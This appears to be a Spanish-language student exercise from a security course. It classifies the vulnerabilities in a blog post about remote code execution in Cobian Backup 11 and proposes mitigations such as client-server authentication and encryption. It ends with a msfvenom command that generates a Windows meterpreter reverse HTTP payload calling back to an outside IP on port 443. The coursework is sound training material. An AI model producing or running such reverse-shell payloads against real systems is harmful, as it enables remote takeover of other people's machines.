M6T1. Tarea 1

Leer el siguiente post en el que se describen una serie de vulnerabilidades.

• Identificar las vulnerabilidades que se describen en el mismo y clasificarlas en función de la

clasificación anteriormente descrita.

https://www.tarlogic.com/blog/rce-en-cobian-backup-11/

Vulnerabilidades:

No usar cifrado y sintaxis muy explicita que permite un fácil entendimiento del protocolo para un atacante.

No autenticación cliente – servidor permite la suplantación de este último. Permitiendo al atacante tomar el control del sistema y realizar operaciones en los equipos de los clientes sin que estos se den cuenta.

Estos comandos se pueden ejecutar en los equipos de los clientes creando tareas en las plantillas enviadas a los clientes en los eventos pre y post backup, donde se permite la ejecución de programas externos.

Las vulnerabilidades no requieren interacción con el usuario ya que el servidor puede ser suplantado sin que este se dé cuenta, lo mismo que la ejecución de los comandos en las plantillas de las tareas. Estas afectan a la disponibilidad, integridad y confidencialidad del sistema.

• ¿Cómo se podría evitar la suplantación del servidor maestro?

Para evitar la suplantación implementaría dos cosas:

1. Autenticación cliente – servidor. No permitir conexiones ciegas entre cliente servidor.
2. Encriptar la información emitida entre cliente y servidor.

• ¿Cómo se podría evitar la ejecución de código en los clientes?

El uso de un protocolo como ssh puede ayudar aquí, ya que requiere de una autenticación ahora mismo inexistente y cifra la comunicación.

Disponibilidad, integridad y confidencialidad

EJERCICIO

Generar el payload necesario para un exploit escrito en powershell, que establezca una conexión inversa

con meterpreter por http al puerto 443 y la IP 29.23.44.15

msfvenom -p Windows/meterpreter/reverse_http LHOST=29.23.44.15 LPORT=443